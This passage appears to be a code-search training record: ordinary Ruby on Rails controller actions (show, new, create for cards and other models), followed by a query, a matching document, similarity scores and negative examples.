"def show\n @exchange = Exchange.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @exchange }\n end\n end",
"def show\n @compra = Compra.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @compra }\n end\n end",
"def show\n @scorecard = Scorecard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @scorecard }\n end\n end",
"def index\n # TODO: pagination\n @cards = @cards.order('created_at desc')\n render json: @cards, status: :ok\n end",
"def show\n @card_number = CardNumber.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @card_number }\n end\n end",
"def first\n @cards = Card.where(:first => params[:first])\n\n respond_to do |format|\n format.html #first.html.erb\n format.json { render json: @cards }\n end\n end",
"def show\n @sector = Sector.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sector }\n end\n end",
"def show\n @pocket = Pocket.find_pocket(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pocket }\n end\n end",
"def show\n @Roc = Roc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @Roc }\n end\n end",
"def show\n @reclamo = Reclamo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @reclamo }\n end\n end",
"def show\n @cat = Cat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cat }\n end\n end",
"def show\n @cap = Cap.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cap }\n end\n end",
"def show\n @cap = Cap.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cap }\n end\n end",
"def show\n @richard = Richard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @richard }\n end\n end",
"def show\n @catalogs_supply = Catalogs::Supply.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @catalogs_supply }\n end\n end",
"def show_cards\r\n @user_cards = User.find(params[:id]).cards\r\n end",
"def new\n @collection_card = CollectionCard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @collection_card }\n end\n end",
"def index\n @compares = @chapter.compares\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @compares }\n end\n end",
"def show\n @computer = Computer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @computer }\n end\n end",
"def show\n @computer = Computer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @computer }\n end\n end",
"def show\n @replay = Replay.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :text => @replay.xml }\n end\n end",
"def show\n @deck = Deck.find(params[:id])\n @masters = @deck.masters\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @deck }\n end\n end",
"def index\n @ccards = Ccard.all\n end",
"def show\n @chamados = Chamado.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @chamados }\n end\n end",
"def show\n @carrier = Carrier.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @carrier }\n end\n end",
"def show\n @cv = Cv.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cv }\n end\n end",
"def show\n @odc_r = OdcR.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @odc_r }\n end\n end",
"def show\n @concert = Concert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @concert }\n end\n end",
"def show\n @c_clip = CClip.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @c_clip }\n end\n end"
] |
[
"0.70024145",
"0.69735205",
"0.69309866",
"0.69046885",
"0.6866563",
"0.68277824",
"0.6766952",
"0.6765576",
"0.6698586",
"0.6686479",
"0.6647306",
"0.6638022",
"0.6638022",
"0.6638022",
"0.6638022",
"0.6638022",
"0.6524756",
"0.65227306",
"0.6509622",
"0.6469394",
"0.64511037",
"0.6400558",
"0.63888216",
"0.6363884",
"0.6363884",
"0.6363884",
"0.6363884",
"0.6347303",
"0.63312954",
"0.63308364",
"0.6317827",
"0.63139945",
"0.63066334",
"0.6277277",
"0.62706536",
"0.62646705",
"0.626423",
"0.6260607",
"0.6218077",
"0.62180096",
"0.6207095",
"0.6199434",
"0.61966956",
"0.6194223",
"0.61761355",
"0.614725",
"0.61403537",
"0.61245775",
"0.6120353",
"0.61152685",
"0.6110723",
"0.6104175",
"0.60956335",
"0.60956335",
"0.60954124",
"0.60954124",
"0.60954124",
"0.60954124",
"0.6091891",
"0.6091891",
"0.6090912",
"0.6090912",
"0.60885435",
"0.6068281",
"0.6055169",
"0.6047464",
"0.60405195",
"0.60294014",
"0.6024046",
"0.60205853",
"0.6019473",
"0.6014214",
"0.6014154",
"0.6014086",
"0.6012867",
"0.60081774",
"0.59955364",
"0.59937984",
"0.59930193",
"0.59880733",
"0.5984626",
"0.59830874",
"0.597734",
"0.5974412",
"0.5974412",
"0.59701896",
"0.59681994",
"0.5966212",
"0.59528655",
"0.59477746",
"0.5941541",
"0.5941541",
"0.5941132",
"0.59408396",
"0.59394944",
"0.59389305",
"0.59356904",
"0.59329814",
"0.5931529",
"0.5929669",
"0.5928305"
] |
0.0
|
-1
|
GET /cards/new GET /cards/new.xml
|
def new
@card = Card.new
@card.category_id=params[:category_id]
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @card }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @old_card = OldCard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @old_card }\n end\n end",
"def new\n @card = @deck.cards.new\n @decks = Deck.all(:order => 'title')\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @card }\n end\n end",
"def new\n @card_template = CardTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @card_template }\n end\n end",
"def new\n @collection_card = CollectionCard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @collection_card }\n end\n end",
"def new\n @card = Card.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @card }\n end\n end",
"def new\n @card = Card.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @card }\n end\n end",
"def new\n @card = Card.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @card }\n end\n end",
"def new\n @card = Card.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @card }\n end\n end",
"def new\n @card = Card.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @card }\n end\n end",
"def new\n @bank_card = BankCard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bank_card }\n end\n end",
"def new\n #@card = Card.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @card }\n end\n end",
"def new\n @card_type = CardType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @card_type }\n format.json { render :json => @card_type }\n end\n end",
"def new\n @bcard = Bcard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bcard }\n end\n end",
"def new\n @catalog = Catalog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catalog }\n end\n end",
"def new\n @catalog = Catalog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catalog }\n end\n end",
"def new\n @expansion_of_card = ExpansionOfCard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @expansion_of_card }\n end\n end",
"def new\n @card_punch = CardPunch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @card_punch }\n end\n end",
"def new\n @flash_card = FlashCard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @flash_card }\n format.xml { render :xml => @flash_card }\n end\n end",
"def new\n @fleet_card = FleetCard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fleet_card }\n end\n end",
"def create\n @card = Card.new(params[:card])\n\n respond_to do |format|\n if @card.save\n flash[:notice] = 'Card was successfully created.'\n format.html { redirect_to(deck_card_path(@deck, @card)) }\n format.xml { render :xml => @card, :status => :created, :location => @card }\n else\n @decks = Deck.all(:order => 'title')\n format.html { render :action => \"new\" }\n format.xml { render :xml => @card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @card_set = CardSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @card_set }\n end\n end",
"def new\n @card_set = CardSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @card_set }\n end\n end",
"def new\n @provider = Provider.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @provider }\n end\n end",
"def new\n @cloud = Cloud.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cloud }\n end\n end",
"def new\n @contract = Contract.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contract }\n end\n end",
"def new\n @contract = Contract.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @contract }\n end\n end",
"def new\n @cat = Cat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cat }\n end\n end",
"def new\n @cardbox = current_user.cardboxes.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cardbox }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"def new\n @black = Black.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @black }\n end\n end",
"def new\n @currency = Currency.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @currency }\n end\n end",
"def new\n @arc = Arc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @arc }\n end\n end",
"def new\n @card_number = CardNumber.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @card_number }\n end\n end",
"def new\n @community = Community.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @community }\n end\n end",
"def create\n @old_card = OldCard.new(params[:old_card])\n\n respond_to do |format|\n if @old_card.save\n format.html { redirect_to(@old_card, :notice => 'Old card was successfully created.') }\n format.xml { render :xml => @old_card, :status => :created, :location => @old_card }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @old_card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @game }\n end\n end",
"def new\n @book = Book.new :copies => 1\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @book }\n end\n end",
"def new\n @ref = Ref.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ref }\n end\n end",
"def new\n @computer = Computer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @computer }\n end\n end",
"def new\n @computer = Computer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @computer }\n end\n end",
"def new\n @resource = Resource.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end",
"def new\n @omatsuri = Omatsuri.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @omatsuri }\n end\n end",
"def new\n @cap = Cap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cap }\n end\n end",
"def new\n @cap = Cap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cap }\n end\n end",
"def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new\n @cardio_plan = CardioPlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cardio_plan }\n end\n end",
"def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end",
"def new\n @resource = Resource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resource }\n end\n end",
"def new\n @carro = Carro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @carro }\n end\n end",
"def new\n @board = Board.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @board }\n end\n end",
"def new\n @board = Board.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @board }\n end\n end",
"def new\n @ccl = Ccl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ccl }\n end\n end",
"def new\n @holder = Holder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @holder }\n end\n end",
"def new\n @bcard = Bcard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bcard }\n end\n end",
"def new\n @cv = Cv.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cv }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ciclo }\n end\n end",
"def new\n @good = Good.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @good }\n end\n end",
"def new\n @conseq = Conseq.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @conseq }\n end\n end",
"def new\n @nom = Nom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nom }\n end\n end",
"def new\n @author = Author.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @author }\n end\n end",
"def new\n @Roc = Roc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @Roc }\n end\n end",
"def new\n @stack = Stack.new\n @stack.set_default_attributes\n # TO DO - DON'T HAVE IT CREATE A NEW THING IN A DATABASE, YET\n @stack.save\n @card = Card.new\n @card.type = \"TextCard\"\n @card.stack_id = @stack.id\n #redirect to create a new card\n # redirect_to new_stack_card_path(@stack)\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cards }\n end\n\n end",
"def new\n @sector = Sector.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sector }\n end\n end",
"def new\n @atom = Atom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @atom }\n end\n end",
"def new\n @balance = Balance.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @balance }\n end\n end",
"def new\n @deck = Deck.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @deck }\n end\n end",
"def new\n @deck = Deck.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @deck }\n end\n end",
"def new\n @scratch = Scratch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @scratch }\n end\n end",
"def new\n @brother = Brother.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @brother }\n end\n end",
"def new\n @composer = Composer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @composer }\n end\n end",
"def new\n @cruno_card = CrunoCard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cruno_card }\n end\n end",
"def new\n @resp = Response.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resp }\n end\n end",
"def new\n @amount = Amount.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @amount }\n end\n end",
"def new\n @repo = Repo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @repo }\n end\n end",
"def newX\n @server = Server.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @server }\n end\n end",
"def new\n @post215 = Post215.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post215 }\n end\n end",
"def create\n #@card = Card.new(params[:card])\n\n respond_to do |format|\n if @card.save\n format.html { redirect_to cards_url, :notice => 'Card was successfully created.' }\n format.json { render :json => @card, :status => :created, :location => @card }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @book = Book.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @book }\n format.json { render json: @book }\n end\n end",
"def new\n @rink = Rink.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rink }\n end\n end",
"def new\n respond_to do |format|\n format.html\n format.xml\n end\n end",
"def new\n @boss = Boss.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @boss }\n end\n end",
"def create\n @card = Card.new(params[:card])\n @card.user_id = current_user.id\n respond_to do |format|\n if @card.save\n flash[:notice] = 'Card was successfully created.'\n format.html { redirect_to(@card.category) }\n format.xml { render :xml => @card, :status => :created, :location => @card }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @cheque = Cheque.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cheque }\n end\n end",
"def new\n @scorecard = Scorecard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @scorecard }\n end\n end",
"def new\n @cash_book = CashBook.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cash_book }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @page = Page.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def new\n @nostro = Nostro.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nostro }\n end\n end",
"def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end",
"def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end",
"def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end",
"def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end",
"def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"def new\n @artpiece = Artpiece.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @artpiece }\n end\n end",
"def new\n @citation = Citation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @citation }\n end\n end"
] |
[
"0.7685707",
"0.755102",
"0.7398026",
"0.7338191",
"0.7297257",
"0.7297257",
"0.7297257",
"0.7297257",
"0.7297257",
"0.7189703",
"0.7143595",
"0.7115405",
"0.7087821",
"0.704481",
"0.704481",
"0.70246446",
"0.694757",
"0.68466556",
"0.68294567",
"0.68086743",
"0.6775708",
"0.67569005",
"0.6753216",
"0.67493665",
"0.67465794",
"0.67465794",
"0.674211",
"0.6713657",
"0.6706081",
"0.6685922",
"0.66661114",
"0.6647299",
"0.66408134",
"0.66367203",
"0.66356945",
"0.66079706",
"0.6606249",
"0.6604972",
"0.6597328",
"0.6597328",
"0.6590632",
"0.65874606",
"0.6586891",
"0.6586891",
"0.6583904",
"0.65837866",
"0.6581959",
"0.6581959",
"0.6570971",
"0.6569148",
"0.6569148",
"0.6561617",
"0.65604687",
"0.65588355",
"0.6555333",
"0.6540278",
"0.6534918",
"0.6533406",
"0.65310216",
"0.6529739",
"0.65250266",
"0.65192515",
"0.65164614",
"0.65140456",
"0.6511282",
"0.6510551",
"0.6510551",
"0.65079427",
"0.6498966",
"0.64987284",
"0.6498446",
"0.6496917",
"0.64946526",
"0.6478959",
"0.6476522",
"0.64758813",
"0.64739084",
"0.64717555",
"0.646842",
"0.6465557",
"0.6462284",
"0.6462082",
"0.64611906",
"0.6457091",
"0.6456647",
"0.6452049",
"0.6452049",
"0.6452049",
"0.6452049",
"0.6452049",
"0.6452049",
"0.6451605",
"0.6448839",
"0.6448839",
"0.6448839",
"0.64488375",
"0.6447631",
"0.6447631",
"0.64469886",
"0.64465797"
] |
0.6714986
|
27
|
POST /cards POST /cards.xml
|
def create
@card = Card.new(params[:card])
@card.user_id = current_user.id
respond_to do |format|
if @card.save
flash[:notice] = 'Card was successfully created.'
format.html { redirect_to(@card.category) }
format.xml { render :xml => @card, :status => :created, :location => @card }
else
format.html { render :action => "new" }
format.xml { render :xml => @card.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @card = Card.new(params[:card])\n\n respond_to do |format|\n if @card.save\n flash[:notice] = 'Card was successfully created.'\n format.html { redirect_to(deck_card_path(@deck, @card)) }\n format.xml { render :xml => @card, :status => :created, :location => @card }\n else\n @decks = Deck.all(:order => 'title')\n format.html { render :action => \"new\" }\n format.xml { render :xml => @card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @card = @deck.cards.build(card_params)\n\n respond_to do |format|\n if @card.save\n format.html { redirect_to deck_cards_path(@deck, @card), notice: 'Card was successfully created.' }\n# format.json { render :show, status: :created, location: @card }\n else\n format.html { render :new }\n# format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @card = @deck.cards.build(card_params)\n respond_to do |format|\n if @card.save\n format.html { redirect_to deck_path(@deck), notice: 'Card was successfully created.' }\n format.json { render :show, status: :created, location: deck_card_path(@deck, @card) }\n else\n format.html { render :new }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @card = Card.new(card_params)\n @card.deck_id = params[:deck_id] \n \n if @card.save!\n render :show, status: :created\n else\n render json: @card.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def create\n @tarot.cards << Card.new(card_params)\n\n respond_to do |format|\n if @tarot.save\n format.html { redirect_to tarot_cards_path(@tarot), notice: 'Card was successfully created.' }\n format.json { render action: 'show', status: :created, location: @card }\n else\n format.html { render action: 'new' }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @card = Card.new(card_params)\n\n if @card.save\n render json: @card, status: :created, location: @card\n else\n render json: @card.errors, status: :unprocessable_entity\n end\n end",
"def create\n @card = Card.new(card_params)\n\n respond_to do |format|\n if @card.save\n format.html { redirect_to @card, notice: 'Card was successfully created.' }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @card = Card.new(card_params)\n\n respond_to do |format|\n if @card.save\n format.html { redirect_to cards_path, notice: t(\".successfully_created\") }\n format.json { render :show, status: :created, location: @card }\n else\n format.html { render :new }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #@card = Card.new(params[:card])\n\n respond_to do |format|\n if @card.save\n format.html { redirect_to cards_url, :notice => 'Card was successfully created.' }\n format.json { render :json => @card, :status => :created, :location => @card }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @card = Card.new(params[:card])\n\n respond_to do |format|\n if @card.save\n format.html { redirect_to @card, notice: 'Card was successfully created.' }\n format.json { render json: @card, status: :created, location: @card }\n else\n format.html { render action: \"new\" }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @card = Card.new(card_params)\n respond_to do |format|\n if @card.save\n format.html { redirect_to action: :index, notice: 'Card was successfully created.' }\n format.json { render :show, status: :created, location: @card }\n else\n format.html { render :new }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @card = Card.new(card_params)\n\n respond_to do |format|\n if @card.save\n format.html { redirect_to @card, notice: 'Card was successfully created.' }\n format.json { render :show, status: :created, location: @card }\n else\n format.html { render :new }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @card = Card.new(card_params)\n\n respond_to do |format|\n if @card.save\n format.html { redirect_to @card, notice: 'Card was successfully created.' }\n format.json { render :show, status: :created, location: @card }\n else\n format.html { render :new }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @card = Card.new(card_params)\n\n respond_to do |format|\n if @card.save\n format.html { redirect_to @card, notice: 'Card was successfully created.' }\n format.json { render :show, status: :created, location: @card }\n else\n format.html { render :new }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @card = Card.new(card_params)\n\n respond_to do |format|\n if @card.save\n format.html { redirect_to @card, notice: 'Card was successfully created.' }\n format.json { render :show, status: :created, location: @card }\n else\n format.html { render :new }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @card = Card.create(card_params)\n if @card.errors.any?\n render json: @card.errors, status: :unprocessable_entity\n else\n render json: @card, status: 201\n end\n end",
"def create\n @five_card = FiveCard.new(params[:five_card])\n\n respond_to do |format|\n if @five_card.save\n flash[:notice] = 'FiveCard was successfully created.'\n format.html { redirect_to(@five_card) }\n format.xml { render :xml => @five_card, :status => :created, :location => @five_card }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @five_card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @expansion_of_card = ExpansionOfCard.new(params[:expansion_of_card])\n\n respond_to do |format|\n if @expansion_of_card.save\n flash[:notice] = 'ExpansionOfCard was successfully created.'\n format.html { redirect_to(@expansion_of_card) }\n format.xml { render :xml => @expansion_of_card, :status => :created, :location => @expansion_of_card }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @expansion_of_card.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @card = Card.new(card_params)\n @card.user = current_user\n respond_to do |format|\n if @card.save\n format.json { render json: @card, status: :created }\n else\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def send_postcard(post_postcards)\r\n # Validate required parameters.\r\n validate_parameters(\r\n 'post_postcards' => post_postcards\r\n )\r\n # Prepare query url.\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/post/postcards/send'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare headers.\r\n _headers = {\r\n 'content-type' => 'application/json; charset=utf-8'\r\n }\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.post(\r\n _query_url,\r\n headers: _headers,\r\n parameters: post_postcards.to_json\r\n )\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n\r\n # Validate response against endpoint and global error codes.\r\n return nil if _context.response.status_code == 404\r\n validate_response(_context)\r\n\r\n # Return appropriate response type.\r\n _context.response.raw_body\r\n end",
"def create\n @card = Card.new(card_params)\n # todo violation\n @wallet.cards << @card\n respond_to do |format|\n if @wallet.save\n format.html { redirect_to wallet_path, notice: 'Card was successfully created.' }\n format.json { render json: @wallet, status: :ok, location: wallet_path }\n else\n format.html { render :new }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @card = Card.new(card_params)\n\n respond_to do |format|\n if @card.save\n format.html { redirect_to @card, notice: 'Cartão criado com sucesso.' }\n format.json { render action: 'show', status: :created, location: @card }\n else\n format.html { render action: 'new' }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_card\n trello = trello_api\n card_options = {\n :name => card_title,\n :list => list_id,\n :description => card_body,\n }\n trello.create_card(card_options)\n end",
"def create\n deck_name = params[:name]\n @deck = Deck.create(:name => deck_name)\n\n SUITS.each do |suit| \n VALUES.each do |value| \n Card.create(:deck_id => @deck.id, :suit => suit, :value => value)\n end\n end\n\n render json: [@deck, @deck.cards] \n end",
"def post(uri, xml)\r\n req = Net::HTTP::Post.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def new\n @card = @deck.cards.new\n @decks = Deck.all(:order => 'title')\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @card }\n end\n end",
"def create\n response.headers[\"Content-Type\"] = \"text/javascript\"\n @card = @plan.cards.new(card_params)\n @card.save\n $redis.publish('messages.create', @card.to_json)\n end",
"def create\n @card = Card.find(params[:card_id])\n params[:deck_card][:card_id] = @card.id\n @deck_card = DeckCard.new(deck_card_params)\n if @deck_card.save\n flash[:success] = \"Card successfully added to deck!\"\n redirect_to @deck_card.deck\n else\n flash[:danger] = \"Card and deck are not compatible\"\n redirect_to @card\n end\n end",
"def postWebcard( entity_id)\n params = Hash.new\n params['entity_id'] = entity_id\n return doCurl(\"post\",\"/webcard\",params)\n end",
"def create\n @deck_of_card = DeckOfCard.new(deck_of_card_params)\n\n respond_to do |format|\n if @deck_of_card.save\n format.html { redirect_to @deck_of_card, notice: 'Deck of card was successfully created.' }\n format.json { render :show, status: :created, location: @deck_of_card }\n else\n format.html { render :new }\n format.json { render json: @deck_of_card.errors, status: :unprocessable_entity }\n end\n end\n end",
